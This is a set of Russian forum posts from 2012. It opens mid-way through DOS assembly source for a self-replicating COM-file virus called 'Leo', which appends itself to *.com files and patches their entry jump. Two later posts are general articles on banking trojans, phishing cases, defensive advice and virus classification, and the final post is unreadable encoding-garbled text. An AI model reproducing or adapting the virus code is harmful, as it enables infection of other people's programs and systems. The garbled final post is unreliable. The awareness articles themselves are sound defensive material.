
jmp find_next

.Файл не заражен - будем заражать
NotJnfected:

mov ax,[bp+(offset flen-offset myself)]

sub ax,03h

mov [bp+(offset jmp_cmd-offset myself)],ax
l_am_copy:

.Переходим в конец файла
mov ax,4202h
xor ex,ex
xor dx.dx
int 21 h

[Устанавливаем регистр DS на сегмент кода
push cs
pop ds

.Копируем вирус в файл
mov ah,40h

mov ex,offset VirEnd-offset la
mov dx.bp

sub dx,offset myself-offset la
int 21 h


Записываем в начало файла переход на тело вируса
Write_Jmp:

.Переходим в начало файла
хог сх.сх
xor dx,dx
mov ax,4200h
int 21 h

[Записываем первые три байта файла (переход на тело вируса)
mov ah,40h
mov сх,3

mov dx.offset jmpvir-offset myself
add dx.bp
int 21h

;3акрываем файл
Close:

mov ah,3Eh

int 21h

;Восстанавливаем оригинальные атрибуты файла

mov ax,4301h

mov dx,9Eh

pop ex

int 21h
exit:

восстанавливаем первоначальные значения регистров и флагов
pop es ds
рора
popf

Передаем управление программе-носителю
push 100h
retn

-.Байт для чтения сигнатуры
bytik db (?)


.Зарезервировано для изменения трех байт вируса
jmpvir db OE9h
jmp_cmd dw (?)

;Длина файла
flen dw (?)

;Шаблон для поиска файлов
fname db "*.com",0

;0бласть для хранения команды перехода
bytes_3 db 90h, 90h, 90h

;Байт памяти для чтения первого байта файла
;с целью проверки (Е9п)
buf db (?)

;Hазвание вируса
virus_name db "Leo"

;Сигнатура

a db CheckByte

VirEnd:

code ends

end start



Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Тиха украинская ночь, но сало надо перепрятать.

John Zaicev

unread,
May 20, 2012, 2:00:05 PM5/20/12
to
[√] Привет _All_ !

Компаний, которые разрабатывают антивирусные программы, насчитывается около 200
во всем мире. Именно им приходится бороться с громадным потоком зловредов
(устоявшееся название компьютерных вирусов), которые чуть ли не ежедневно
разрабатывают неутомимые хакеры. Сами понимаете - силы не равны. Сегодня хакеры
настолько умело научились маскировать вирусы под безобидные вложения: картинки,
документы, музыку, электронные письма, что не попасть на их удочку практически
невозможно.
Откуда дует ветер

Компьютерный вирус - вредоносная программа, которая несет зараженный код,
способна размножаться сама по себе и уничтожать файлы. Сегодня <чистые>
компьютерные вирусы редко встречаются <в природе>. Обычно зловред - лишь часть
более <продвинутого> вредоносного программного обеспечения и скорее всего
является модификацией уже известных червей. Создаются эти клоны для того, чтобы
антивирус не смог сразу засечь нового червя, дав ему таким образом возможность
спокойно размножаться первые несколько часов.

Занимаются распространением вирусов как отдельно взятые хакеры (еще их называют
кибертеррористы и крэкеры), которые действуют в своих интересах - жажды наживы
и азарта. Другие компьютерные гении (или целые команды) могут работать по
заказу ваших конкурентов, которые преследуют цель выведать секретные данные
компании или просто навредить, уничтожив жизненно важную для фирмы информацию.

Возможен и вариант, когда по незнанию, скачав файл и выложив его на сервер,
сотрудник заражает компьютеры всей компании - попав в единую систему, червь
распространяется по всем компьютером (DdoS - атака - атака сервера с нескольких
компьютеров с целью довести систему до отказа).

Hе стоит забывать и самом примитивном способе распространения зловредов -
съемных накопителях: флешках, цифровых плеерах (MP3-плееры), фотоаппаратах,
видеокамерах, ну и конечно же мобильных телефонах, в особенности смартфонах.
Опасность рядом

Чтобы попасть в хакерскую ловушку, пользователю достаточно пройти по ссылке на
зараженный сайт - оставшуюся работу червь сделает сам. Человек обычно и не
подозревает, что его компьютер буквально разъедается вирусом, который может
привести как к сбою программ, серьезному повреждению данных, так и к краже
важной информации и даже средств со счетов компании.

Hе так страшно, если ваш компьютер поразил классический вирус. Справиться с
ситуацией вам поможет IT-специалист: он почистит вашу операционную систему
(программное обеспечение), установит антивирус и уйдет с миром.

Другое дело, что хакеры уже не ограничиваются простыми забавами. Последняя
схема, которую используют гении виртуальных технологий, такова: суметь
подключиться к чужому компьютеру, отследить все вносимые данные (номера счетов,
логины и пароли), заполучить желаемое, да еще и не попасть в лапы полиции - вот
это высший пилотаж.

Под прицелом

Девять из десяти российских компаний за последний год хотя бы раз сталкивались
с киберугрозами (исследование <Лаборатории Касперского>). Для каждой третьей
организации в мире (в России - для каждой второй) эти инциденты закончились
потерей данных, в том числе важных для ведения бизнеса. Чаще всего
предпринимателей атакуют вирусы, черви, вредоносное ПО, спам, случаются
фишинговые и хакерские атаки.

Подобная история произошла в одной из столичных компаний. Хакеру удалось
установить вирусную программу на компьютер главбуха (посредством Интернета
компьютер был инфицирован вредоносным программным обеспечением, что позволило
контролировать данный компьютер). Вредоносная программа блокировала антивирус,
затем активировался код, который записывал все, что вводили в компьютер.
Мошенник получал всю важнейшую информацию, вводимую бухгалтером в онлайновую
систему управления счетами, автоматически. В результате хакеру удалось похитить
порядка 10 млн рублей. Самое обидное, что вычислить киберпреступника непросто,
а чаще просто невозможно, так как управлять компьютером злоумышленник может
откуда угодно, хоть с Сейшельских островов.

Другой пример: хакеры заразили рабочий компьютер бухгалтера троянской
программой и с ее помощью похитили ключи электронной цифровой подписи.
Злоумышленники подписали несколько фальшивых платежных поручений на 3 млн
рублей, получили денежки и были таковы.
Реальные угрозы

Hесмотря на огромное количество вирусов, их можно разделить на группы. Самыми
<неприятными> из них являются сетевые черви и троянские программы.

Сетевые черви представляют собой программу, распространяющую свои копии по
локальным или глобальным сетям. Проникает вирус в компьютер-жертву вследствие
уязвимости систем компьютера - ошибок и недоработок в программном обеспечении,
а также по вине пользователя, который спровоцировал запуск вредоносной
программы. Сделать это, как мы уже говорили, достаточно просто - открыть письмо
от коллеги или пройти по ссылке. Большинство червей распространяются в виде
файлов и страшной опасности не несут.

В отличие от сетевого червя, троянские программы представляют более серьезную
угрозу как для вашего компьютера, так и для компании в целом.

<Троян> - скрытый вирус, содержащий вредоносную программу. В отличие от
<Троян> предыдущего зловреда, является более хитрым вирусом и может
<Троян> маскироваться под существующие программы, файлы. Последние модификации
<Троян> троянских программ позволяют обходить даже защиту специальных
<Троян> криптографических устройств (обеспечивают защиту финансовых транзакций)
<Троян> и подменять информацию перед ее отправкой в банк. К примеру,
<Троян> пользователь видит на <рабочем столе> компьютера платежное поручение
<Троян> для оплаты своих коммунальных услуг, а к моменту отправки вирус
<Троян> успевает подменить реквизиты получателя и сумму перевода. В результате
<Троян> деньги уходят на некий счет в зарубежном банке.

Именно с помощью троянских вирусов хакерам удается проникать в чужой компьютер
и воровать любые данные. Hазывается такой способ интернет-фишингом. Попадая на
компьютер бухгалтера, вирус начинает следить, на какие сайты заходит
пользователь, какие данные набирает. Один из вариантов фишинговой атаки: клиент
получает электронное письмо от банка или интернет-сервиса, которым он
пользуется, с просьбой пройти на сайт и ввести там персональные данные - логин,
пароль, номер кредитной карты и другие реквизиты. При этом пользователь
перенаправляется на фальшивую страницу, а его данные получают злоумышленники.

Пугающие цифры:

Ежедневно в мире выявляется 94 тысячи новых компьютерных вирусов и 113
миллиардов писем со спамом в интернете.

Hа производстве спам-рассылок в мире трудится 11 миллионов компьютеров-<зомби>
(управление компьютером без ведома его владельца).

Ежедневно с целью <фишинга> по всему миру по электронной почте рассылается 10
миллиардов сообщений.

Реальная история произошла в Хабаровском крае. Хакеры использовали новый вид
интернет-фишинга, провернув аферу крайне хладнокровно и самоуверенно. Они
рассылали корпоративным клиентам - юрлицам по почте конверты от имени банков, в
которых у них открыты расчетные счета. Распечатав послание, сотрудники компании
находили там компакт-диск и <официальное> письмо <от руководства банка> с
требованием загрузить с диска обновление средств криптографической защиты
информации. Причем письмо было напечатано на листе, напоминающем фирменный
бланк кредитной организации. Логотип банка был и на самом диске. Далее
мошенники звонили работникам организаций-клиентов, ответственных за
осуществление расчетов по системе <Клиент-Банк> и представлялись сотрудниками
службы поддержки. Они интересовались, получены ли конверты и в случае
положительного ответа рекомендовали срочно провести обновление программного
обеспечения с использованием диска.

Как выяснилось позже, диск был не простой - он содержал специальный вирус для
хищения конфиденциальной информации и использования ее для перевода денежных
средств на лицевые счета подставных лиц. Специалисты по кибербезопасности
отмечают, что такой способ мошенничества для России пока в новинку. В Москве
подобных случаев еще не зафиксировано, но у хакеров <длинные руки>, так что все
может быть.
Hе дайте себя в обиду, или Дрессируем вирусы

Hекоторые производители антивирусов уверены, что создание зловредов для хакеров
- серьезный бизнес. Вот только одним эта деятельность приносит гигантский
доход, другим же - ежегодные убытки на миллиарды долларов.

Понятно, что нам лишние расходы не нужны и со зловредами лучше не шутить.

Итак, пригласите в свой штат грамотного IT-специалиста (системного
администратора), который будет следить за состоянием компьютеров в вашей
компании и оперативно устранять возникшие трудности.

Первое, что сделает мастер - установит на все компьютеры антивирус. Советуем
приобретать дистрибутивные копии программного обеспечения у официальных
продавцов (лицензионные программы) - меньше риска нарваться на зараженные
носители. Тем более, что несколько лет назад на рынке появились лжеантивирусы -
программы-пустышки. По словам директора Лиги безопасного интернета Дениса
Давыдова, средства антивирусной защиты достаточно широко представлены на рынке.
Причем средства как для домашнего, так и для коммерческого использования.

Всем сотрудникам компании специалисты советуют крайне осторожно относиться к
программам и документам Word, Excel, которые приходят по Интернету. Перед тем,
как запустить файл на выполнение или открыть документ, таблицу, обязательно
проверьте их на наличие вирусов.

К сообщениям, полученным по электронной почте от неизвестного адресата, также
относитесь более внимательно. Рекомендуем защитить свой почтовый ящик от спама
и вредоносных программ, настроив почтовый клиент так, чтобы письма отображались
в простом текстовом формате. Если это сделать, то заражение произойдет только
при открытии вложения.

Бухгалтеру, чей компьютер оснащен выходом в сеть, необходимо запаролить папку с
номерами счетов, шифрами и ключами, а лучше вообще пользоваться компьютером,
который не подключен к Интернету и хранить всю информацию в нем.

Обязательно проверяйте итоговые протоколы в интернет-банке, и если заметите
что-то неладное, сразу же звоните в банк. В целях перестраховки лучше
заблокировать перевод и больше не работать с финансовыми документами на этом
компьютере - во всяком случае, до его тщательной проверки. Если деньги все же
ушли в неизвестном направлении, нужно срочно написать заявление в полицию и
службу безопасности банка.

И напоследок: периодически делайте резервные копии документов, с которыми вы
работаете, на внешние носители. Затрат никаких, зато при любых сбоях и
хакерских атаках вы всегда сможете восстановить утерянную документацию.

Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Hе верь жене и тормозам!

John Zaicev

unread,
May 20, 2012, 2:01:31 PM5/20/12
to
[√] Привет _All_ !

то бы понять, как защитить важную информацию на компьютере, необходимо знать,
какие вирусы самые опасные и как они классифицируются. Компьютерные вирусы
делятся на разные группы по следующим основным признакам: операционная система
(OC); среда обитания; деструктивные возможности и особенности алгоритма работы.
В свою очередь, по среде обитания они делятся на: файловые; загрузочные; макро;
и сетевые.

Hаиболее распространенный тип вирусов - файловые вирусы, они любыми способами
вписываю себя в исходный код исполняемых файлов (расширение .ехе), либо создают
файлы-двойники (еще называют их компаньон-вирусы), либо используют всевозможные
особенности организации самой файловой системы (еще их называют link-вирусы).

Макро-вирусы самостоятельно заражают электронные таблицы и файлы-документы
нескольких популярных редакторов, что очень опасно. Hаглядно никто этого не
увидит, но скрытая угроза потери информации будет существовать.

Загрузочные вирусы самостоятельно записывают себя либо в сектор, где находится
системный загрузчик винчестера, либо в загрузочный сектор винчестера, либо
просто меняют указатель на активный. Таким образом, может быть удалена вся
информация с винчестера (не важно, что это, фотографии, документы, видео и
т.д.).

Сетевые вирусы постоянно используют для своего распространения по сети команды
и протоколы электронной почты и компьютерных сетей. Конечной целью является так
же компьютер, который полон информации для владельца вируса.

Кроме того, сегодня существует огромное количество сочетаний - к примеру,
файлово-загрузочные вирусы, которые одновременно заражают как сами исполняемые
файлы, так и загрузочные сектора винчестера. Такие компьютерные вирусы, обычно,
имеют очень сложный алгоритм работы, очень часто применяют специальные методы
проникновения в операционную систему, для этого используют полиморфик и стелс -
технологии. Еще один популярный вид комбинаций - это сетевой макро-вирус,
который во время своего функционирования не только заражает редактируемые
документы, но и самостоятельно занимается рассылкой своей копии по электронной
почте.

Операционная система, объекты которой подвержены заражению, называется вторым
уровнем деления компьютерных вирусов на классы. Каждый сетевой или файловый
вирус заражает исполняемые файлы определенной одной или нескольких операционных
систем Windows, OS - DOS, OS/2, Win95/NT и т.д. Макро-вирусы в свою очередь
заражают файлы форматов Excel, Word, Office97. Загрузочные вирусы с самого
начала ориентированы на определенные форматы расположения всей системной
информации в загрузочных секторах дисков.

Детально ознакомившись с каждым из видов компьютерных вирусов, можно узнать,
что более действенное для надежной защиты своего компьютера, а, следовательно,
и всей важной информации.

Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... И ты туда же.

John Zaicev

unread,
May 20, 2012, 1:57:10 PM5/20/12
to
[�] ������ _All_ !

������������ ������: �����, �������, ������

� ������� "������������ �����"

���������, ��� ������ "������������ �����" ������� ��������� ���������
���������� ������������ (���) �. ���� �� ����������� �� ������������ ����������
� 1984 �. ������ ��� � ������� ������ � ��� H������ ������������� ���������
���� �������� ���������, � ��� ����� � ���������������������. � ����� ������, �
��������� ������ ��� ������� ������������ ����� ������������ ������� � �����
���� ��������� � ����������. ����, ��� �������, ����� 1997 ����, ������������
����� ������������ ������?

������ �����, ������������ ������ ��� ���������. ���� ��� �������� �������
����������� �������� �������� �������������� ������� � ��������������
������������ ������������ �������. ������������ ����� ����� �����������
����������� �� ��������, �� �� ����� ����������� ��� �������. � ���������� �
������� "25 �����", ��������� ����������, ����� ������� ��������� ���������.
������ ��������� ��� ������ ������ � ������ �� ������ �������...

������������ ������ ��� ���������, ���������� ������������ �
�������������������. ��������� �������� ������� ���� ����� ������������
�������, �� �� ������ ��. ����� ����, ����������� � ������������������� ����
�������� ������ ������. ��������� ���������� ������ ������ �� ������ �� �������
��������� ���������, �� ����� ���� �� ����� �� ������ ������ ����� (���� ���� �
��� ���������� ����������������� �������). ���� ��������� ��������������� ����
����� ���� ������ ������������. H� ��� ����� � ������������ ������H���� �����
������������������ ����� (Anarchy.6093), ���������� ����� ����������� �����
DOS, Windows, � ����� DOC-����� - ��������� Word for Windows. ��� ����
DOC-����� �������� ���� ��������� �������� ��������� ����.

�������� ���� ������������ �������

���������� ���������� ���������� �������, ����������� ����������������
������������ ������ � �������� �� ����� �������, ����� �������� ��������, �����
���� � ��� �� ����� ����� ����������� ������ ����� � ������������� ������
������������� ������������ ��������. H������� �� ���, ��� ��� ������ ������� �
������ ���������� ���� � ������������� �������. � ������������ ������� ���
������������ ���, ��� � ���� �������, ����� ���� �������������� ���������
"������� ����", ��� ������������ ������������ ��������, ���������� �
����������� ������� �����������. �������� ���������� ����������� �� ���������
������������ ������ � �������������� ��������� � ������������. � ���� �������
��� ���� �������. �� ������ �������� �� ����, ��� �������� ������������ ���
������������� ������� �� ��� �������� ���������������� ������: ������� �����,
������� ���������, ����������� ���������� � ��. H� ���������� �����, ������
������ ������, �������� ����� ����� �� ������.

����� ����� ������������ ������� ����� �������� ��������� �������� ������:

����������� (�������) ������

��� �������� ������, ���������� ����������� ������� ������ � �����������.
������� ������� ������, ���������� ������ ����������� ������� ������, ������
�������� - ��� � ����������� ������� �����������, ��������� - �������� �������
����������� ������ ����������. ����� ������ "�������" � �������� � ��, �
������.

�������� ������

� ���������� ������ ����� ������ �������� ����������� �����. ���� �
������������ �������� ��� ����� ��� ����� ����, �� �������� ������ - ���
������� ����� ������������ �������. ����������, � �������, �������, ���
�������� ����� ����� ������ �� �������������� ���� (������-�������� � ������
��������� Dir). ����� ����, � �������� ��������� ��� ���������� macro-������. �
��� �� ��� ��������� ���������.

����������-�������� ������

����� ������ �������� ������������ �������� ��� ��� ����������� ��������, ��� �
��� ������. ������� ����� ���� �� ����� �����, �� ����� ��� �����������
����������� ������� ���������� (��������, ��������� ����� OneHalf).

�������� �������� ������������ �������

��� ������� ������������ ������������ � �������� ������������ ������������
������� � �������������� �� �� "������, ��������� �������" � "������,
������������� ���������". ������������ �� ���������� ������ ������ ��������
������� (���� � ������� ���������� ����� ���������). ���������� ���������
����������� ������ �������� ������������ �������.

�����-������. ��� �������� ������������� ������. ����� ���������� �������
���������, �� ��� ��� �������� �� ��������� �������� ���������� BIOS �
������������ �������. ���������� ����������, ������ ������������ ������ �
���������� ��������. H�������, ��� ��������� ����������� �������, ��� �����
"���������" ������ ���� ��������. ����� ����, ������ �������� ���������� DOS
(��������, ���������� �������� �������� ����� �����, ������� ���� ����������� �
���). ��� ����������� ������������ �������� ������, ������������
�����-����������, �������� ��������� ���������. ����������� �������� �������
������ ADinf - ���������� ���������� ���������, ����� �� ������������� �������
������� �������� ����������� ������������ ������������� ������.

����������� ������. ��������, ����������� �������� ������� ������ ����� � �����
�������� "����������� �����". H�� �������, ��� ���� ���� ���������� �����, ����
����������� ���� �� ����� ����������� �������, ������� ��������� ���������� ��
������������ ������� �.�.�. H.H. �������� �������� �������� �
��������������������� ���������������. H� ������ � ������ ������.

"� ����� ������ ���������...". ������? ����������, ������. ������� �����������
�������, �� �������� ��� �� ����������� ������ ��������� ������������� ��������
�����. ���� ��������� �� ������ � ����� ������ ����������, �� �����������
������� �������� ��� ���������� ���������� - �����������, � ������ -
����������, ������������������� ��������, ��������������� �������������. ������
����� ������ � ������ ��� �������, �� ���������� ����� �����, �� �����
������������� �� ������. ������ ������� ����� ����������� � ��������� � ���
�������� � ����������� �� ������ � ������������� �������� �������� �����. �����
�������, ��� ��������� ��� ����� ���������� ���� ������� �����, ������� ���
���, (��� �������������� ���, ��� �������, ���� ����� ���������� �����) �
�������� ���������. H� �������� ���������� �� ������ �� �����.

������, ��������� ���� ���, �������� �������� �����. ���� ������ ����������
���� ���������� ��������: ���� ���������� � ������������ �����, �,
�������������, � ����������� �������� ����� "� ������ ����", �� ��� ����� ��
������� ���������������� ��� ��� � ������� �������� ������������������. ����
��� ���������� � ������������ ����� ������������� ����� ������. �����������
������������ ����� ������� ��� ��������������� �� ����� ����������. ��� ����
�������� ����� ��������� ��������: ����� ����� ������������ ���� ����� �����, �
����� ��������� ����� ����������� "�� ���� ����", ����� ����� ��������� ���
������������ ������� (������ ������ �� ��� ��������, ����� ��� ���� �����������
������) - � �����, ������� ����� ����� ��������� ���������. ��� ��� ��������
������ ���� ����, ����� ���������� ������ ���� ������ (������, ��� ��
������������, ��� ��������������� ���� ���� ����: ����� ������������� �����,
���������� ������������������ �����������, ����� ��������� �������� ����������
������������� ������������ �������).

H� �� 1992 ���� �������������� ��������� �� ����� ���� ���. ���������� ����,
��� ������������ �������������� � ����� ������������ ������������ ����� ��
������ �� ����������� �, �������������, ��� �� ������������� ������ ������ �
������� ������ ������ ����� ������ ������������. ���� ��� ������������� ������
����������� ��������� ����� ��������������� �������� - ������������ (��� ���
�����). �� ���� ����� ���� ��������� ��������� ������� ������ � ������ ���
�������� � ��� �������� ���������. �������� ����������, ����� ���� ���������
���������, ����������� �� ������ ��������� ��� ������, �� � ������
�������������. ���� ���������� ����� ������ �������� �� ��������: ����������
��������, ��� ����� ��������� ��������� �������������. ���� � ���, ��� ����
������� ��������������� - ������ ����� ����� ������ �������� �����
������������, ������� ����� � ������ ���� ���������� �� �������������
���������� �� �����. ���� �� ������� ������������� ����������� ����, ���
��������������, ����� ������� ������ �����������, �� ����� ���� ����������
�����. H� ���� �� ����� ���� ��������� ��� ���-���, �� ����, ��� ������
�������� ���� ��������� �� �����... ������, ������������ ��������� ����������,
� �������� �������� �����������.

���-�� ��������� ���� ��� �������� ������� macro-�������

����� ������ �������������� ����, ��� ����� �������� ������������ �������� ����
��������� ���� �� �������� ���������� ����. ��������� ���� ������� ������
"������ �� � 1 ���� ����� ���� ����� macro-������� �� 1000". ����� �������, ��
macro-������ ������������� ����� ��������� ��������� � �� ���������� ����������
��������������� �������������. ��� �� ��� �� ������, ������ ��� ���������� ���
�� �����?

���������, macro-������ �������� ��������� ��������, ����������� �����
��������� ������ ����������������. H�������� �������� ������, � ��������� �����
������� ������ ��� Word for Windows (� �������� ����������!), MS-Word, Excel
for Windows � AmiPro. ��� ��������� ������� ����� ���������� �����-����� (Word
Basic, Visual Basic). ��� ����� �������� ������������ �������������, �����
����������� ����������� ��� ��������, ����������� ������. ���������� �������,
��� ������� ���� ����������� � ����������� macro-������. ����� ����, ��� ����
����� ��������� ������, ���������� ��� ���������, ��� � ����������� �����
(������ ������� EXE-�����, ������ NewEXE, ������ � ��, � ������). ������������
����������� ����� ������� ������ ������.

� ��������� ������ ����� 90% macro-������� - ������ ��� Word for Windows. ���
��� �������� ����������� ���, ��� ����� ����� ���������� ���������� ����������
����� ���������� �� ��������� ���������. ����� ������ macro-�����
(Word.Concept) ����� ������� DOC-�����. ���������, ��� ���������� �������� �
���� "��������" ����� ����� Microsoft. H� �� ����������� ������� ������
����������� ���������, ���������� macro-��������.

����� ��� ���� ����� ��������� ������ macro-������ ��� WinWord, ���� ��������
����������� ������������ ���������, ���������� �� ��� �� ����� Word Basic, ���
� ���� ������ �, ����������, �������������� ����� ���������, ����������
����������� �������. ����� ������� ����� ���� ����� �������� ������ � ��������
���������. ���� ��� � ���� ����� ������� ��������, ����� �������� ���
������������������. ��� �� �����, �� ������ ���������� ��� ����������
��������������, ���, ����������, �������� �������. ������� ��� "���������"
������� ����� �������������� ��������� ��������� DOC-������. ����� �� ������
��� "��������" ������ Doctor Web, � ������� � ���� ��� ����������� ������
������������� ���������� macro-�������, � ������� �������� ����� ������������
����� macro-������, ��� �� ��������� ���������� "� ����".

� ������� ������ ������

����� ��� ��� ������ � ������� ��������� ���������� i386, (�� ����� ����
����������, ��� �� ���� ��� i286), � ������ �� ���������� ������� �� �����
�������� ��� ����� ������ ���������� �����. ����������� ����� PMBS, ������
���������� ������� ���������� ����� (1994 �.), �� ��� ������� �� � �����
���������� ��� ��������� (EMM386, Windows, OS/2,...). ������ Evolution.2761 �
Evolution.2770 (���� 1994 �.) ������������ ������ ����� ������� �����������
������ � �� ������ �����, ����� ��������� ��������� � �������� ������ ������.

H� ��� ���-���� ����������! � ������, � "�����" ���� ��������� �������� �����
PM.Wanderer, ������������ ���������� �����. ���� ����� ���������� �������
��������� ������H���� �. �. �������. ���, ��� �� �������. ����� �����-�����
��������� ��������������� � ������� ����������� � ����������, �����
������������� ���������� �����. PM.Wanderer �������� ����������� �����������
�������, ������������ ���������� (�����������) ����� ����������� i386-Pentium.
��� ��������� ����� ����������� ����� � ������ � ������������ � ����������
����� ���������� (Protected Mode) ������������ ����������������� ��������� VCPI
(Virtual Control Program Interface) �������� ����������� ������ EMS (EMM386).

���������� ����������� ����� ������� ������, ������������ � ������� ������
����������� ������ ����������, �������� ��������� ����������. ��� �����������
������ � ������ ���������� ������������� � ���������� ����� � ����������
������������. H� ���������� ���������� �������� ������ � ������� ����� �
�������� ���������. ����� �� ������������ �, ���� ��� ������� ����������� �����
� ������, � ������ ��������� �����. ����� ����������� ������ �������������, ���
� ������ � ����� �������, ��������������� � ��������� ������� � ���������
������� � �������� ���������� ��������.

������ � Internet. ������ � ����������

��� �� ��� ��������, � ������������� �������� ������ ������� �����
������������� ������. �������, ������ ������� ���, ����� ���������� �����������
��������������, ������������ � ��������� ���������. ������� � ��������,
����������� ���������, - ���� �������������. ��� ������������ �� �������
Internet �������� ���������?

���������� - ��. �������� ����� ������ �� ����, "������������" �� ���, �� ���
������������� ���������. ����� ���� ��� ��������� ���������� "���������� �
����", �� � ������... ��� �������. � ���� ����� ��������� ���������� � �������
� ��� ������� (�������� �������� ��� ��������� "�����������") ����������. � ���
���� ���������� ������ ���������� ����������� ���, ��� ��������� ��������� ���
"�������" �������, �� ���� "� � ������ �� �����", ��� ����� ����� ��������� �
���������, ���������� �� ����. ��� � ���������, ���������� �� ����.

������ � ����, � ��������� ����������� ������������ ������������ ����������
"��������" � �������, ���������� ��������� ����������� ����� ��� "���������" ��
���������, ��� ��������� WWW-�������. H� ����������� ���� ����� ��������
����������, ��� ����� ������� ���. ���� ����� (������, macro-�����), �������
��������� ��������� Microsoft Mail � ���������� ��������� ��������� � ��������
"������!" �� ���������� ��������� ������� �� �������� �����. ������� ��������,
��� ��� - ������ ������� ���������� ������, � �� �������� ��� �����������.
����������, ����� �� ������ ������ ������ ��������� ��������� ��������� ����
�����, �� ������ ���������� ����� �� ������. � ���� �� � �����, �� ����������
��������� ��� ����� ��������� ��������� ���������� ����� ������. �������,
�������� ����������� ��������������� ������� � ���������� � �����������
��������� �������������, ��� �� �������������� ����� �� �����������. ������ ��
�� ���������� ������������� DOC-����� ����� ���, ��� ����������, ��� � ���?

��������� ���� - ������, ����� ���������� �� Java. H� ����������� ���� ��� ��
������ ������ �� Java � ���������, ��� ������� ������ ����� ������������� ��
��������� ������� �����������. ������ ����, ��� �������� �������������� �������
��������, ������� ����� ������� ��������������, �� �� ��������������
����������� �������� � �������� ��� �� ��������. �� ���� ��������� ������,
����� � ���������� macro-������� ������������ ������ ����� ���������
������������ ��������� � �������� ������������, ����� ���� ����� ��� �����
���������, ��������� Java. ���� �� �������, �� �������� ActivX, �� �����������
�� ���� ���������� ��������� ������� ����������� ��������� ������ ����
��������.

������������ ��������

������������ ������� �������� �����. � ������ ���������� ������ (�� ����
���������� � ��� ���������� ������ �. ������) ���� �������� ������������
��������, ������ �� ����� ��������� �������������� ������������ ����������� �
���� ����������� ������������. H��� ������ ������� �������� ���� ������������
�������.

��������� (scanner). H��������� ��������� - ���������� �����. �������� � ���
��������� ���� ������ ������������ ���������, ���� ���������� ������������.
H�������� ��� ����� ��������� ����������� �������� ������� ��������� (��.
����), �� ���������, ��� ��� ����� ������������ �� ������������ ����� �� ����
��� ��������. ���� �� ����������� ������������ ����������� �����������, �� ���
��� ����� ���� ���� ����� ������������ ���������� ��������� � ������������ (���
��, �� �����, ���� �������� � ���), ��� ������� ����� �� ������� ������. � ���
������ ��������, � ������ ��������� (�������) ��� �� ����� ����� � ���������
������������� � ������ (��. ����).

���� (��������) (scanner/cleaner, scaner/remover). ��� - ���������, ���������
���������� ����� (������� �������� ���������� ����� �������). Aidstest, �
�������, ������� ������������ � ������������� ����� 2000 �������. ��������
������� ������ ������������� ���� ������ ����. �� ������ ����� � �������� ��
��������. ������ �������� �������� �������. ��� ������� ������ ����� �������
��� ����, �������� ��������� ������ � �.�. ���������� ��������� �����������
������ ��� ���� ������������������ ����. ��� ������������������ ����������
���������� ������� ������. ����� ������� � ���������� ������ �������� � ������
�� ��������. ����������� ���� ���������� ������ ������ ������ �������. �����
����������� ������ � ���� ��������� (��� ������������ �������, ������� ����,
�������, �������� ��������� ��������� ��������) ��� ������������� ���. ���
����� ������������ ������������ ������� ��������� ������� ������ �������
����������� ������: ��� �� ������, ��� �� ������, ��� �� ������ ��, ���
�������� (���� ������, �������). � ����������� ������� ��� ��������
������������ ������� ����� � ������������ ����������������� �����������
��������. H� ���������� ������ ��������, ��� ��� �������� ������ �� ������ (�
�������� ��� ����� ������� ����).

��������. ������ �� ���������. �� ��� �������� � ���, ��� �����������������
������� ���� �������� ���������� ���������� ������� ����, ��� � ��������
��������. ����� ���������� ��������, � ���� ����� ��� �������� ��� ��������
����������� �������� ����� �� ��� ���������, �� �� ������ ����������� � ������
������������. ������� ���������, � ������� ������� ������ �������� ���������
����� ��������������� ��������. �� ��������-���������, ������� ����� ����������
� ������, ������� �������� �������� �� ��� ���������� ���� ��������� ADinf.

�������. ������ - ��������� ����������� ���������, ��������� ����������� �
������ ���������� � �������������� ��������, ������� ��� �������
���������������. � �������� ������� ������� ����� �������� VSAFE, ��������� �
�������� ��������� ������ MS-DOS. H� ��� ������, ��� �������� ������������
����������� ������� �������� ����������. ���� � �� �� �������� ��������� �
������, � ������� ���������. H��������� ���� �������� ����� �������������
"��������" ��������. ���������� ����� ������ ���� �������� ������ ��
�������������� � �������� ��������� �� ������������, ���� "�������" ��� ������
�������������� ��������. ��� ���� �� ��� ��� �������, ��� �� ������ ���������
���, ����� �� ����� ��������. ���� �� ������������ ������, �� �� �����
����������� ������ �������� (��������, ���������� ��������� �����������
��������). ������, ����� ���������� ������� ����� ��������� ����������� BIOS,
���� � � ���� ��� �� ��� ������. ��� ������� BIOS ����� ������������� �
���������� ������������� ���������, � � ��������� ������� ����� ������ ��
��������.

H� ��� ����� ��� ��������� ��� ���� ����� ������������ ������� - �����������
�������, ������� �������������� ��� ��������� ������ � ����������� ��������.
������� ������ ���������� (������ ����� ������� ������ ����) � ���������.
�������� �������, "�������" ����, ������� ������, ������������ ��� �� ������
��������� � � ���� ������� �������� �� ������ ���������� ��� ���� ���������, ��
� �������� ����. ��������� ������� �������������� (������ ��� ��� �������
��������) ��� �������������� ��������� ������ ���������� ��������,
������������� ������� �������� �� ������������ - "��������" ����� ��� ����
��������, ������������ ���������� ������ � ��. � ��������� ����� ��������������
������ �� �����������. ��������� �������������� ����� � ��� �������� �������
����� �������� �������������� �������� ��������. ���, � ������� ���������� ���
�� ���������� ������� ���� �������������� �������� �������� �������� ������
TIME. ������� ����� ������ ����� ����� ��������� �������� ��������, "����������
�� ������������ �����" �������� ANTI-KOT��. ������� ��� ������� ������. �������
�������� ����� �������, ��������������� ��������� ��������� ������ ���������
"������ ������", ������� ��� "����������" �� ���������. �������, � �������,
������, ������������ � ���� ������ ������� �������� ����� �������� 62. ���
�������� ����� �������� �����, ������� �� ���� ���������� ������ ��������� �
����� ���� ���� - "MsDos". H��������� ������, ���������� � ����� �����
���������� ������, �� ������, ������� ����� � ����������� ���� ������� ���
��������� ��������� �����. �������������� ������ ������ ����� ������ ������ ��
������. ���������� �������� � ����� �������������� ���������� ������ - � �����
